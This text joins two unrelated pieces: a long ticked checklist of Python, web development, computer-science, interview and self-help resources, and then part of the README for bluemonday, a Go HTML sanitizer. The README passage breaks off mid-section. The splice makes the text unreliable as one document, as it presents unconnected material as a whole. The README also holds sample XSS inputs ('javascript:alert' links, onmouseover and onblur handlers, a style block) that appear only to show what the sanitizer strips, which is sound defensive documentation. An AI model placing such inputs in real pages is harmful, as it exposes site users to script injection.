- [ ] [Article: The Complete Python Development Guide](https://testdriven.io/guides/complete-python/)
- [ ] [Article: Speeding Up Python with Concurrency, Parallelism, and asyncio](https://testdriven.io/blog/concurrency-parallelism-asyncio/)
- [ ] [Article: Speed Up Your Python Program With Concurrency](https://testdriven.io/blog/concurrency-parallelism-asyncio/)
- [ ] [Article: A Python prompt into a running process: debugging with Manhole](https://pythonspeed.com/articles/live-debugging-python/)
- [X] [Regex For Noobs (like me!) - An Illustrated Guide](https://www.janmeppe.com/blog/regex-for-noobs/)
- [X] [Book: A Byte of Python](https://python.swaroopch.com)
- [X] [Book: Learn Python The Hard way](https://learnpythonthehardway.org)
- [ ] [Book: Python 201](https://leanpub.com/python201)
- [ ] [Book: The Python 3 Standard Library By Example](https://doughellmann.com/blog/the-python-3-standard-library-by-example)
- [ ] [Book: Writing Idiomatic Python 3](https://www.amazon.com/Writing-Idiomatic-Python-Jeff-Knupp-ebook/dp/B00B5VXMRG)
- [X] [Calmcode: ray](https://calmcode.io/ray/introduction.html)
- [X] [Codecademy: Learn Python](https://www.codecademy.com/learn/learn-python)
- [X] [Cognitiveclass.ai: Python for Data Science](https://cognitiveclass.ai/courses/python-for-data-science)
- [X] [Datacamp: Python for R Users](https://www.datacamp.com/courses/python-for-r-users)
- [X] [Datacamp: Python for Spreadsheet Users](https://www.datacamp.com/courses/python-for-spreadsheet-users)
- [X] [Datacamp: Importing Data in Python (Part 1)](https://www.datacamp.com/courses/importing-data-in-python-part-1)
- [X] [Datacamp: Intermediate Python for Data Science](https://www.datacamp.com/courses/intermediate-python-for-data-science)
- [X] [Datacamp: Python Data Science Toolbox (Part 1)](https://www.datacamp.com/courses/python-data-science-toolbox-part-1)
- [X] [Datacamp: Python Data Science Toolbox (Part 2)](https://www.datacamp.com/courses/python-data-science-toolbox-part-2)
- [X] [Datacamp: Intro to Python for Finance](https://www.datacamp.com/courses/intro-to-python-for-finance)
- [X] [Datacamp: Writing Efficient Python Code](https://www.datacamp.com/courses/writing-efficient-python-code)
- [X] [Datacamp: Writing Functions in Python](https://www.datacamp.com/courses/writing-functions-in-python)
- [ ] [Datacamp: Working with Dates and Times in Python](https://www.datacamp.com/courses/working-with-dates-and-times-in-python)
- [X] [edX: Introduction to Python for Data Science](https://www.edx.org/course/introduction-python-data-science-microsoft-dat208x-7)
- [X] [edX: Programming with Python for Data Science](https://www.edx.org/course/programming-python-data-science-microsoft-dat210x-5)
- [X] [Google's Python Class](https://developers.google.com/edu/python/)
- [X] [Treehouse: Python Basics](https://teamtreehouse.com/library/python-basics)
- [X] [TheNewBoston: Python Programming Tutorials](https://www.youtube.com/watch?v=4Mf0h3HphEA&list=PLEA1FEF17E1E5C0DA)
- [X] [Youtube: Python 3 Programming Tutorial - Regular Expressions / Regex with re](https://www.youtube.com/watch?v=sZyAn2TW7GY)
- [X] [Youtube: Python Tutorial: re Module - How to Write and Match Regular Expressions (Regex)](https://www.youtube.com/watch?v=K8L6KVGG-7o)
- [ ] [Youtube: Python Concurrency and Multithreading](https://advanced-python.namespace.im/python-concurrency-and-multithreading/)
- [ ] [Youtube: Aaron Richter- Parallel Processing in Python| PyData Global 2020](https://www.youtube.com/watch?v=eJyjB3cNIB0&feature=youtu.be)
- [ ] [Youtube: The Clean Architecture in Python](https://www.youtube.com/watch?v=DJtef410XaM)
### Have a general understanding of other parts of the stack
- [ ] [Book: Refactoring UI](https://refactoringui.com/book/)
- [X] [Codecademy: Learn HTML](https://www.codecademy.com/learn/learn-html)
- [X] [Codecademy: Learn SASS](https://www.codecademy.com/learn/learn-sass)
- [X] [Codecademy: Make a website](https://www.codecademy.com/en/courses/make-a-website)
- [X] [Codecademy: Learn ReactJS: Part I](https://www.codecademy.com/learn/react-101)
- [X] [Codecademy: Learn ReactJS: Part II](https://www.codecademy.com/learn/react-102)
- [X] [Codecademy: Learn JavaScript](https://www.codecademy.com/learn/learn-javascript)
- [X] [Codecademy: Jquery Track](https://www.codecademy.com/learn/learn-jquery)
- [X] [Codecademy: Learn Ruby](https://www.codecademy.com/learn/learn-ruby)
- [X] [Code School: Fundamentals of Design](https://www.pluralsight.com/courses/code-school-fundamentals-of-design)
- [X] [Code School: Blasting Off with Bootstrap](https://www.pluralsight.com/courses/code-school-blasting-off-with-bootstrap)
- [X] [(ES6) - Beau teaches JavaScript](https://www.youtube.com/watch?v=1mgLWu69ijU&list=PLWKjhJtqVAbljtmmeS0c-CEl2LdE-eR_F)
- [X] [Pluralsight: UX Fundamentals](https://www.pluralsight.com/courses/ux-fundamentals-2426)
- [X] [Pluralsight: HTML, CSS, and JavaScript: The Big Picture](https://app.pluralsight.com/library/courses/html-css-javascript-big-picture)
- [X] [Pluralsight: CSS Positioning](https://www.pluralsight.com/courses/css-positioning-1834)
- [X] [Pluralsight: Introduction to CSS](https://www.pluralsight.com/courses/css-intro)
- [X] [Pluralsight: CSS: Specificity, the Box Model, and Best Practices](https://app.pluralsight.com/interactive-courses/detail/c580b092-d94a-4ed8-8d2a-2f4d0b76f99f)
- [X] [Pluralsight: CSS: Using Flexbox for Layout](https://app.pluralsight.com/interactive-courses/detail/a089d0a5-4a4c-4c4e-b883-c1bc64009619)
- [X] [Pluralsight: Using The Chrome Developer Tools](https://www.pluralsight.com/courses/chrome-developer-tools)
- [ ] [Thoughtbot: Design for Developers](https://thoughtbot.com/upcase/design-for-developers)
- [X] [Treehouse: HTML](https://teamtreehouse.com/library/html)
- [X] [Treehouse: Javascript Booleans](https://teamtreehouse.com/library/javascript-booleans)
- [X] [Udacity: ES6 - JavaScript Improved](https://www.udacity.com/course/es6-javascript-improved--ud356)
- [X] [Udacity: Intro to Javascript](https://www.udacity.com/course/intro-to-javascript--ud803)
- [X] [Udacity: Object Oriented JS 1](https://www.udacity.com/course/object-oriented-javascript--ud015)
- [X] [Udacity: Object Oriented JS 2](https://www.udacity.com/course/object-oriented-javascript--ud711)
- [X] [Udemy: Understanding Typescript](https://www.udemy.com/understanding-typescript/)
### Be familiar with fundamental Computer Science concepts
- [X] [Article: Asymptotic Analysis Explained with Pokémon: A Deep Dive into Complexity Analysis](https://www.freecodecamp.org/news/asymptotic-analysis-explained-with-pokemon-a-deep-dive-into-complexity-analysis-8bf4396804e0/)
- [X] [Book: Grokking Algorithms](https://www.manning.com/books/grokking-algorithms)
- [X] [Codecademy: Big O](https://www.codecademy.com/courses/big-o/0/1 )
- [ ] [Crashcourse: Computer Science](https://www.youtube.com/playlist?list=PL8dPuuaLjXtNlUrzyH5r6jN9ulIgZBpdo)
- [ ] [Khan Academy: Data Structures](https://www.khanacademy.org/computing/computer-science/algorithms)
- [ ] [Udacity: Intro to Algorithms](https://www.udacity.com/course/intro-to-algorithms--cs215)
- [ ] [Udacity: Intro to Computer Science](https://www.udacity.com/course/intro-to-computer-science--cs101)
- [ ] [Udacity: Intro to Theoretical Computer Science](https://www.udacity.com/courses/cs313)
- [ ] [Udacity: Programming Languages](https://www.udacity.com/course/programming-languages--cs262)
- [ ] [Udacity: Networking for Web Developers](https://www.udacity.com/course/networking-for-web-developers--ud256)
### Be able to apply proper software engineering process
- [X] [Pluralsight: Security Awareness: Basic Concepts and Terminology](https://app.pluralsight.com/library/courses/security-awareness-basic-concepts-terminology)
- [X] [Pluralsight: Secure Software Development](https://www.pluralsight.com/courses/software-development-secure)
- [X] [Pluralsight: Clean Architecture: Patterns, Practices, and Principles](https://www.pluralsight.com/courses/clean-architecture-patterns-practices-principles)
- [ ] [Thoughtbot: Software Development Process](https://thoughtbot.com/upcase/the-playbook-video-edition)
- [ ] [Thoughtbot: Refactoring](https://thoughtbot.com/upcase/refactoring)
- [ ] [Udacity: Design of Computer Programs](https://www.udacity.com/course/design-of-computer-programs--cs212)
- [ ] [Udacity: Product Design](https://www.udacity.com/course/product-design--ud509)
- [ ] [Udacity: Rapid Prototyping](https://www.udacity.com/course/rapid-prototyping--ud723)
- [ ] [Udacity: Software Development Process](https://www.udacity.com/course/software-development-process--ud805)
### Be able to efficiently use a text editor
- [X] [Article: Work remotely with PyCharm, TensorFlow and SSH](https://medium.com/@erikhallstrm/work-remotely-with-pycharm-tensorflow-and-ssh-c60564be862d)
- [X] [Article: Python remote debugging with PyCharm, CUDA, and Conda](https://medium.com/@n1r44/python-remote-debugging-with-pycharm-cuda-and-conda-87d27695634c)
- [X] [Article: How To Use Visual Studio Code for Remote Development via the Remote-SSH Plugin](https://www.digitalocean.com/community/tutorials/how-to-use-visual-studio-code-for-remote-development-via-the-remote-ssh-plugin)
- [X] [Article: Docker as Remote Interpreter for PyCharm Professional](https://www.inovex.de/blog/docker-remote-interpreter-pycharm-professional/)
- [X] [Youtube: Getting Started with Python in Visual Studio Code](https://www.youtube.com/watch?v=7EXd4_ttIuw)
- [X] [Youtube: VSCode Keyboard Shortcuts For Productivity](https://youtu.be/eGE-tFalwpA)
- [X] [Youtube: Getting Started with Jupyter Notebooks in VS Code](https://youtu.be/Ozq24uAshXo)
- [X] [Youtube: Notebooks in VS Code Are Getting Revamped!](https://youtu.be/g5EykzAsCC0)
- [X] [Youtube: Getting Started with PyTorch in VS Code](https://youtu.be/A9lQHnFaqlU)
- [X] [Youtube: What every GitHub user should know about VS Code - GitHub Satellite 2020](https://youtu.be/T6sW1Dk9B4E)
- [X] [VS Code and GitHub](https://www.youtube.com/playlist?list=PLj6YeMhvp2S4UPBCWyhLPcOxGkmLI2BOz)
- [X] [Visual Studio Code Crash Course](https://www.youtube.com/watch?v=WPqXP_kLzpo)
### Be able to communicate and collaborate well
- [ ] [Google: Technical Writing](https://developers.google.com/tech-writing)
- [X] [Book: Emotional Intelligence](https://www.amazon.com/Emotional-Intelligence-Matter-More-Than/dp/055338371X)
- [X] [Book: How to Win Friends & Influence People](https://www.amazon.com/How-Win-Friends-Influence-People/dp/0671027034)
- [X] [Book: Influence: The Psychology of Persuasion](https://www.goodreads.com/book/show/28815.Influence)
- [X] [Book: Leaders Eat Last: Why Some Teams Pull Together and Others Don't](https://www.amazon.com/Leaders-Eat-Last-Together-Others/dp/1591848016)
- [X] [Book: Multipliers: How the Best Leaders Make Everyone Smarter](https://www.amazon.com/Multipliers-Best-Leaders-Everyone-Smarter/dp/0061964395)
- [X] [Book: Soft Skills: The software developer's life manual](https://www.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397)
- [X] [Book: The New One Minute Manager](https://www.amazon.com/New-One-Minute-Manager-ebook/dp/B00MMG19OG)
- [X] [Calmcode: Remote Work](https://calmcode.io/remote/introduction.html)
- [X] [Youtube: Building a psychologically safe workplace | Amy Edmondson | TEDxHGSE](https://youtu.be/LhoLuui9gX8)
- [X] [Youtube: A short introduction to LaTeX and Overleaf](https://www.youtube.com/watch?v=dkojsBJ-S-g)
### Be familiar with the hiring pipeline
- [X] [Article: What You Need to Know Before Considering a PhD](https://www.fast.ai/2018/08/27/grad-school/)
- [X] [Article: Advice to aspiring data scientists: start a blog](http://varianceexplained.org/r/start-blog/)
- [ ] [Article: Systems Design Interview Guide](http://patrickhalina.com/posts/systems-design-interview-guide/)
- [ ] [Article: A Guide to Cold Emailing](http://eugenevinitsky.github.io/posts/2020-12-25-coldemails.html)
- [ ] [Article: Uber Data Science Interview](https://medium.com/acing-ai/uber-ai-interview-questions-acing-the-ai-interview-9532794bc057)
- [ ] [Article: Google Data Science Interview](https://medium.com/acing-ai/google-ai-interview-questions-acing-the-ai-interview-1791ad7dc3ae)
- [ ] [Article: Facebook Data Science Interview](https://medium.com/acing-ai/facebook-ai-interview-questions-acing-the-ai-interview-5982add0af55)
- [ ] [Article: Acing the Data Science Interview — Part 1](https://medium.com/acing-ai/steps-to-ace-the-ai-interview-part-1-298249080e59)
- [ ] [Article: Acing the Data Science Interview — Part 2](https://medium.com/acing-ai/steps-to-ace-the-ai-interview-part-2-b25f91582f5f)
- [ ] [Article: Amazon Data Science Interview](https://medium.com/acing-ai/amazon-ai-interview-questions-acing-the-ai-interview-3ed4e671920f)
- [ ] [Article: Microsoft Data Science Interview](https://medium.com/acing-ai/microsoft-ai-interview-questions-acing-the-ai-interview-be6972f790ea)
- [ ] [Article: Microsoft Data Science Interview](https://medium.com/acing-ai/microsoft-ai-interview-questions-acing-the-ai-interview-be6972f790ea)
- [ ] [Article: Apple AI Interview Questions — Acing the AI Interview](https://medium.com/acing-ai/apple-ai-interview-questions-acing-the-ai-interview-803a65b0e795)
- [ ] [Article: Salesforce Data Science Interview— Acing the AI Interview](https://medium.com/acing-ai/salesforce-ai-interview-questions-acing-the-ai-interview-75e177c4734)
- [ ] [Article: LinkedIn Data Science Interview](https://medium.com/acing-ai/linkedin-ai-interview-questions-acing-the-ai-interview-41028c4b0704)
- [ ] [Article: Netflix Data Science Interview](https://medium.com/acing-ai/netflix-data-science-interview-questions-acing-the-ai-interview-176cd3a0009f)
- [ ] [Article: Walmart Data Science Interview](https://medium.com/acing-ai/walmart-data-science-interview-questions-acing-the-ai-interview-a775b264b015)
- [ ] [Article: Twitter Data Science Interview](https://medium.com/acing-ai/twitter-data-science-interview-questions-acing-the-ai-interview-f8204a97159f)
- [ ] [Article: Ebay Data Science Interview](https://medium.com/acing-ai/ebay-data-science-interview-questions-acing-the-ai-interview-4f18b58fcc07)
- [ ] [Article: Zillow Data Science Interview](https://medium.com/acing-ai/zillow-data-science-interview-questions-acing-the-ai-interview-eb42f0707c8)
- [ ] [Article: Intel Data Science Interview](https://medium.com/acing-ai/intel-ai-interview-questions-acing-the-ai-interview-d4a62dbb593c)
- [ ] [Article: Adobe Data Science Interview](https://medium.com/acing-ai/adobe-ai-interview-questions-acing-the-ai-interview-ef7a8099110b)
- [ ] [Article: Tesla Data Science Interview](https://medium.com/acing-ai/tesla-ai-interview-questions-acing-the-ai-interview-88b2e94ccbbf)
- [ ] [Article: IBM Data Science Interview](https://medium.com/acing-ai/ibm-artificial-intelligence-interview-questions-57ce1de3f6cf)
- [ ] [Article: Top Data Science Interview Questions & Answers](https://medium.com/acing-ai/top-ai-interview-questions-answers-acing-the-ai-interview-61bf52ca34d4)
- [ ] [Article: Top Data Science Interview Questions & Answers — Part 2](https://medium.com/acing-ai/top-data-science-interview-questions-answers-part-2-20f8c458056d)
- [ ] [Article: Top Data Science Interview Questions & Answers — Part 3](https://medium.com/acing-ai/top-ai-interview-questions-answers-part-3-30b13ae2e2bc)
- [ ] [Article: Data Science Interview Questions and Solutions — Linear and Logistic regression](https://medium.com/acing-ai/data-science-and-machine-learning-interview-questions-and-solutions-8aa2cbc02711)
- [ ] [Article: Capital One Data Science Interview](https://medium.com/acing-ai/capital-one-data-science-interview-questions-b6263d8a3af6)
- [ ] [Article: Paypal Data Science Interview](https://medium.com/acing-ai/paypal-data-science-interview-questions-fab98407cd02)
- [ ] [Article: Airbnb Data Science Interview](https://medium.com/acing-ai/airbnb-data-science-interview-questions-27e8c3e2038d)
- [ ] [Article: Spotify Data Science Interview Questions](https://medium.com/acing-ai/spotify-data-science-interview-questions-bc7c32c7f637)
- [ ] [Article: Yelp Data Science Interview](https://medium.com/acing-ai/yelp-data-science-interview-questions-d787344c49b2)
- [ ] [Article: Twitch Data Science Interview](https://medium.com/acing-ai/twitch-data-science-interview-questions-f430fba332dd)
- [ ] [Article: Oracle Data Science Interview](https://medium.com/acing-ai/oracle-data-science-interview-questions-a85e47e75813)
- [ ] [Article: Citrix Data Science Interview](https://medium.com/acing-ai/citrix-data-science-interview-questions-8ce5e421479)
- [ ] [Article: Quora Data Science Interview](https://medium.com/acing-ai/quora-data-science-interview-questions-701dbba4ed2d)
- [ ] [Article: Splunk Data Science Interview](https://medium.com/acing-ai/splunk-data-science-interview-questions-b13b5b1026cc)
- [ ] [Article: JP Morgan Data Science Interview](https://medium.com/acing-ai/jp-morgan-data-science-interview-questions-f4d523b9a856)
- [ ] [Article: Stripe Data Science Interview Questions](https://medium.com/acing-ai/stripe-data-science-interview-questions-35843c00ef83)
- [ ] [Article: Box Data Science Interview](https://medium.com/acing-ai/box-data-science-interview-questions-3ed82dcf8200)
- [ ] [Article: Instacart Data Science Interview Questions](https://medium.com/acing-ai/instacart-data-science-interview-questions-e8d89bea1a34)
- [ ] [Article: Square Data Science Interview](https://medium.com/acing-ai/square-data-science-interview-questions-daa67cfe96c9)
- [ ] [Article: AmEx Data Science Interview](https://medium.com/acing-ai/amex-data-science-interview-questions-a8d2634c647)
- [ ] [Article: Citibank Data Science Interview](https://medium.com/acing-ai/citibank-data-science-interview-questions-1ac5c71ff29)
- [ ] [Article: Sprint Data Science Interview](https://medium.com/acing-ai/sprint-data-science-interview-questions-82f5e007bb5c)
- [ ] [Article: Dropbox Data Science Interview](https://medium.com/acing-ai/dropbox-data-science-interview-questions-3cf9d63c5708)
- [ ] [Article: Booking.com Data Science Interview](https://medium.com/acing-ai/booking-com-data-science-interview-questions-377bfca8a9b3)
- [ ] [Article: Lyft Data Science Interview](https://medium.com/acing-ai/lyft-data-science-interview-questions-463f2d5bdea4)
- [ ] [Article: Expedia Data Science Interview](https://medium.com/acing-ai/expedia-data-science-interview-questions-b97f25f364d4)
- [ ] [Article: Shopify Data Science Interview Questions](https://medium.com/acing-ai/shopify-data-science-interview-questions-82f40f1d8596)
- [ ] [Article: Goldman Sachs Data Science Interviews](https://medium.com/acing-ai/goldman-sachs-data-science-interviews-7b6789d568f1)
- [ ] [Article: Workday Data Science Interviews](https://medium.com/acing-ai/workday-data-science-interviews-39ecf16e5465)
- [ ] [Article: Acing Data Science Interviews](https://medium.com/acing-ai/acing-data-science-interviews-346ecf1ebf2d)
- [ ] [Article: Analysis of Data Science Interview Questions](https://medium.com/acing-ai/analysis-of-data-science-interview-questions-424b7390555f)
- [ ] [Article: Visa Data Science Interviews](https://medium.com/acing-ai/visa-inc-data-science-interviews-d0ec7ec01e47)
- [ ] [Article: Data Science Quiz— Part 1](https://medium.com/acing-ai/data-science-quiz-part-1-2ff84ef9741e)
- [ ] [Book: Machine Learning Interviews](https://huyenchip.com/ml-interviews-book/)
- [ ] [Datacamp: Preparing for Statistics Interview Questions in Python](https://www.datacamp.com/courses/preparing-for-statistics-interview-questions-in-python)
- [X] [Datacamp: Practicing Machine Learning Interview Questions in Python](https://www.datacamp.com/courses/practicing-machine-learning-interview-questions-in-python)
- [X] [Datacamp: Kaggle Competition](https://www.datacamp.com/courses/winning-a-kaggle-competition-in-python)
- [X] [Udacity: Optimize your GitHub](https://www.udacity.com/course/optimize-your-github--ud247)
- [X] [Udacity: Strengthen Your LinkedIn Network & Brand](https://eu.udacity.com/course/strengthen-your-linkedin-network-and-brand--ud242)
- [X] [Udacity: Data Science Interview Prep](https://www.udacity.com/course/data-science-interview-prep--ud944)
- [X] [Udacity: Full-Stack Interview Prep](https://www.udacity.com/course/full-stack-interview-prep--ud252)
- [ ] [Udacity: Refresh Your Resume](https://www.udacity.com/course/refresh-your-resume--ud243)
- [ ] [Udacity: Craft Your Cover Letter](https://www.udacity.com/course/craft-your-cover-letter--ud244)
- [ ] [Udacity: Technical Interview](https://www.udacity.com/course/technical-interview--ud513)
- [X] [Youtube: Panel Discussion: Do I need a PhD to work in ML? (Full Stack Deep Learning - Spring 2021)](https://youtu.be/sTxL2lspnTU?list=LL)
- [X] [Youtube: The Importance of Writing in a Tech Career - Eugene Yan](https://youtu.be/vXWGd7olv3c)
- [X] [Youtube: How to prepare for Machine Learning interviews- Part 1 | Applied AI Course](https://youtu.be/sLAnpLlkh9U?list=LL)
- [X] [Youtube: How to prepare for Machine Learning interviews- Part 2 | Applied AI Course](https://youtu.be/JxTR1LM4YSA?list=LL)
- [X] [Youtube: Guest Lecture - Chip Huyen - Machine Learning Interviews - Full Stack Deep Learning](https://youtu.be/pli1K75PSa8)
- [X] [Youtube: Tutorial: Technical Blogging for Python Programmers](https://www.youtube.com/watch?v=mmU25Xd0BGs)
### Broaden Perspective
- [X] [Book: Atomic Habits](https://www.amazon.com/Atomic-Habits-Proven-Build-Break/dp/0735211299)
- [X] [Book: Deep Work](https://www.amazon.com/Deep-Work-Focused-Success-Distracted/dp/1455586692)
- [X] [Book: Outliers: The Story of Success](https://www.amazon.com/Outliers-Story-Success-Malcolm-Gladwell/dp/0316017930)
- [X] [Book: Platform: The Art and Science of Personal Branding](https://www.amazon.com/Platform-Art-Science-Personal-Branding/dp/0399581375)
- [X] [Book: Rich Dad Poor Dad](https://www.amazon.com/Rich-Dad-Poor-Teach-Middle/dp/1543626610)
- [X] [Book: The Power of Broke](https://www.goodreads.com/book/show/25430691-the-power-of-broke)
- [X] [Book: The 10X Rule](https://www.amazon.com/10X-Rule-Difference-Between-Success/dp/0470627603)
- [X] [Book: The Millionaire Fastlane](https://www.amazon.com/Millionaire-Fastlane-Crack-Wealth-Lifetime/dp/0984358102)
- [X] [Book: The Subtle Art of Not Giving a F\*\*k](https://www.amazon.com/Subtle-Art-Not-Giving-Counterintuitive/dp/0062457713)
- [X] [Calmcode: Pomodoro](https://calmcode.io/pomodoro/introduction.html)
- [X] [Youtube: Why specializing early doesn't always mean career success | David Epstein](https://www.youtube.com/watch?v=B6lBtiQZSho)
- [X] [Youtube: Chamath Palihapitiya, Founder and CEO Social Capital, on Money as an Instrument of Change](https://youtu.be/PMotykw0SIk)
- [X] [Youtube: How to Build a Personal Monopoly with Jack Butcher](https://www.youtube.com/watch?v=VINZMrpPIg8&feature=youtu.be)
- [X] [Youtube: How to Use Twitter](https://www.youtube.com/watch?v=kDYLQUf8uBw&feature=youtu.be)
- [X] [Youtube: A. Jesse Jiryu Davis - Write an Excellent Programming Blog - PyCon 2016](https://www.youtube.com/watch?v=eHXq-IzlGUE)
- [X] [Youtube: The Great ML Stagnation (Mark Saroufim and Dr. Mathew Salvaris)](https://www.youtube.com/watch?v=BwhBtvCNwxo)
- [X] [Youtube: What Machine Learning Can Teach Us About Life: 7 Lessons - Talk Python Live Stream](https://www.youtube.com/watch?v=EE1u1dbPZWQ)
- [X] [Youtube: Ross Tuck - Things I Believe Now That I'm Old at Laracon EU 2014](https://www.youtube.com/watch?v=ZBiexI2mv-k)
- [X] [Youtube: "How to teach programming (and other things)?" by Felienne Hermans](https://www.youtube.com/watch?v=g1ib43q3uXQ) `0:52:08`
- [X] [Youtube: The secrets of learning a new language | Lýdia Machová](https://www.youtube.com/watch?v=o_XVt5rdpFY)
|
# bluemonday [](https://godoc.org/github.com/microcosm-cc/bluemonday) [](https://sourcegraph.com/github.com/microcosm-cc/bluemonday?badge)
bluemonday is a HTML sanitizer implemented in Go. It is fast and highly configurable.
bluemonday takes untrusted user generated content as an input, and will return HTML that has been sanitised against an allowlist of approved HTML elements and attributes so that you can safely include the content in your web page.
If you accept user generated content, and your server uses Go, you **need** bluemonday.
The default policy for user generated content (`bluemonday.UGCPolicy().Sanitize()`) turns this:
```html
Hello <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>World
```
Into a harmless:
```html
Hello World
```
And it turns this:
```html
<a href="javascript:alert('XSS1')" onmouseover="alert('XSS2')">XSS<a>
```
Into this:
```html
XSS
```
Whilst still allowing this:
```html
<a href="http://www.google.com/">
<img src="https://ssl.gstatic.com/accounts/ui/logo_2x.png"/>
</a>
```
To pass through mostly unaltered (it gained a rel="nofollow" which is a good thing for user generated content):
```html
<a href="http://www.google.com/" rel="nofollow">
<img src="https://ssl.gstatic.com/accounts/ui/logo_2x.png"/>
</a>
```
It protects sites from [XSS](http://en.wikipedia.org/wiki/Cross-site_scripting) attacks. There are many [vectors for an XSS attack](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) and the best way to mitigate the risk is to sanitize user input against a known safe list of HTML elements and attributes.
You should **always** run bluemonday **after** any other processing.
If you use [blackfriday](https://github.com/russross/blackfriday) or [Pandoc](http://johnmacfarlane.net/pandoc/) then bluemonday should be run after these steps. This ensures that no insecure HTML is introduced later in your process.
bluemonday is heavily inspired by both the [OWASP Java HTML Sanitizer](https://code.google.com/p/owasp-java-html-sanitizer/) and the [HTML Purifier](http://htmlpurifier.org/).
## Technical Summary
Allowlist based, you need to either build a policy describing the HTML elements and attributes to permit (and the `regexp` patterns of attributes), or use one of the supplied policies representing good defaults.
The policy containing the allowlist is applied using a fast non-validating, forward only, token-based parser implemented in the [Go net/html library](https://godoc.org/golang.org/x/net/html) by the core Go team.
We expect to be supplied with well-formatted HTML (closing elements for every applicable open element, nested correctly) and so we do not focus on repairing badly nested or incomplete HTML. We focus on simply ensuring that whatever elements do exist are described in the policy allowlist and that attributes and links are safe for use on your web page. [GIGO](http://en.wikipedia.org/wiki/Garbage_in,_garbage_out) does apply and if you feed it bad HTML bluemonday is not tasked with figuring out how to make it good again.
### Supported Go Versions
bluemonday is tested on all versions since Go 1.2 including tip.
We do not support Go 1.0 as we depend on `golang.org/x/net/html` which includes a reference to `io.ErrNoProgress` which did not exist in Go 1.0.
We support Go 1.1 but Travis no longer tests against it.
## Is it production ready?
*Yes*
We are using bluemonday in production having migrated from the widely used and heavily field tested OWASP Java HTML Sanitizer.
We are passing our extensive test suite (including AntiSamy tests as well as tests for any issues raised). Check for any [unresolved issues](https://github.com/microcosm-cc/bluemonday/issues?page=1&state=open) to see whether anything may be a blocker for you.
We invite pull requests and issues to help us ensure we are offering comprehensive protection against various attacks via user generated content.
## Usage
Install in your `${GOPATH}` using `go get -u github.com/microcosm-cc/bluemonday`
Then call it:
```go
package main
import (
"fmt"
"github.com/microcosm-cc/bluemonday"
)
func main() {
// Do this once for each unique policy, and use the policy for the life of the program
// Policy creation/editing is not safe to use in multiple goroutines
p := bluemonday.UGCPolicy()
// The policy can then be used to sanitize lots of input and it is safe to use the policy in multiple goroutines
html := p.Sanitize(
`<a onblur="alert(secret)" href="http://www.google.com">Google</a>`,
)
// Output:
// <a href="http://www.google.com" rel="nofollow">Google</a>
fmt.Println(html)
}
```
We offer three ways to call Sanitize:
```go
p.Sanitize(string) string
p.SanitizeBytes([]byte) []byte
p.SanitizeReader(io.Reader) bytes.Buffer
```
If you are obsessed about performance, `p.SanitizeReader(r).Bytes()` will return a `[]byte` without performing any unnecessary casting of the inputs or outputs. Though the difference is so negligible you should never need to care.
You can build your own policies:
```go
package main
import (
"fmt"
"github.com/microcosm-cc/bluemonday"
)
func main() {
p := bluemonday.NewPolicy()
// Require URLs to be parseable by net/url.Parse and either:
// mailto: http:// or https://
p.AllowStandardURLs()
// We only allow <p> and <a href="">
p.AllowAttrs("href").OnElements("a")
p.AllowElements("p")
html := p.Sanitize(
`<a onblur="alert(secret)" href="http://www.google.com">Google</a>`,
)
// Output:
// <a href="http://www.google.com">Google</a>
fmt.Println(html)
}
```
We ship two default policies:
1. `bluemonday.StrictPolicy()` which can be thought of as equivalent to stripping all HTML elements and their attributes as it has nothing on its allowlist. An example usage scenario would be blog post titles where HTML tags are not expected at all and if they are then the elements *and* the content of the elements should be stripped. This is a *very* strict policy.
2. `bluemonday.UGCPolicy()` which allows a broad selection of HTML elements and attributes that are safe for user generated content. Note that this policy does *not* allow iframes, object, embed, styles, script, etc. An example usage scenario would be blog post bodies where a variety of formatting is expected along with the potential for TABLEs and IMGs.
## Policy Building
The essence of building a policy is to determine which HTML elements and attributes are considered safe for your scenario. OWASP provide an [XSS prevention cheat sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) to help explain the risks, but essentially:
1. Avoid anything other than the standard HTML elements
1. Avoid `script`, `style`, `iframe`, `object`, `embed`, `base` elements that allow code to be executed by the client or third party content to be included that can execute code
1. Avoid anything other than plain HTML attributes with values matched to a regexp
Basically, you should be able to describe what HTML is fine for your scenario. If you do not have confidence that you can describe your policy please consider using one of the shipped policies such as `bluemonday.UGCPolicy()`.
To create a new policy:
```go
p := bluemonday.NewPolicy()
```
To add elements to a policy either add just the elements:
```go
p.AllowElements("b", "strong")
```
Or using a regex:
_Note: if an element is added by name as shown above, any matching regex will be ignored_
It is also recommended to ensure multiple patterns don't overlap as order of execution is not guaranteed and can result in some rules being missed.
```go
p.AllowElementsMatching(regex.MustCompile(`^my-element-`))
```
Or add elements as a virtue of adding an attribute:
```go
// Note the recommended pattern, see the recommendation on using .Matching() below
p.AllowAttrs("nowrap").OnElements("td", "th")
```
Again, this also supports a regex pattern match alternative:
```go
p.AllowAttrs("nowrap").OnElementsMatching(regex.MustCompile(`^my-element-`))
```
Attributes can either be added to all elements:
```go
p.AllowAttrs("dir").Matching(regexp.MustCompile("(?i)rtl|ltr")).Globally()
```
Or attributes can be added to specific elements:
```go
// Not the recommended pattern, see the recommendation on using .Matching() below
p.AllowAttrs("value").OnElements("li")
```
It is **always** recommended that an attribute be made to match a pattern. XSS in HTML attributes is very easy otherwise:
```go
// \p{L} matches unicode letters, \p{N} matches unicode numbers
p.AllowAttrs("title").Matching(regexp.MustCompile(`[\p{L}\p{N}\s\-_',:\[\]!\./\\\(\)&]*`)).Globally()
```
You can stop at any time and call .Sanitize():
```go
// string htmlIn passed in from a HTTP POST
htmlOut := p.Sanitize(htmlIn)
```
And you can take any existing policy and extend it:
```go
p := bluemonday.UGCPolicy()
p.AllowElements("fieldset", "select", "option")
```
### Inline CSS
Although it's possible to handle inline CSS using `AllowAttrs` with a `Matching` rule, writing a single monolithic regular expression to safely process all inline CSS which you wish to allow is not a trivial task. Instead of attempting to do so, you can allow the `style` attribute on whichever element(s) you desire and use style policies to control and sanitize inline styles.
It is strongly recommended that you use `Matching` (with a suitable regular expression)
`MatchingEnum`, or `MatchingHandler` to ensure each style matches your needs,
but default handlers are supplied for most widely used styles.
Similar to attributes, you can allow specific CSS properties to be set inline:
```go
p.AllowAttrs("style").OnElements("span", "p")
// Allow the 'color' property with valid RGB(A) hex values only (on any element allowed a 'style' attribute)
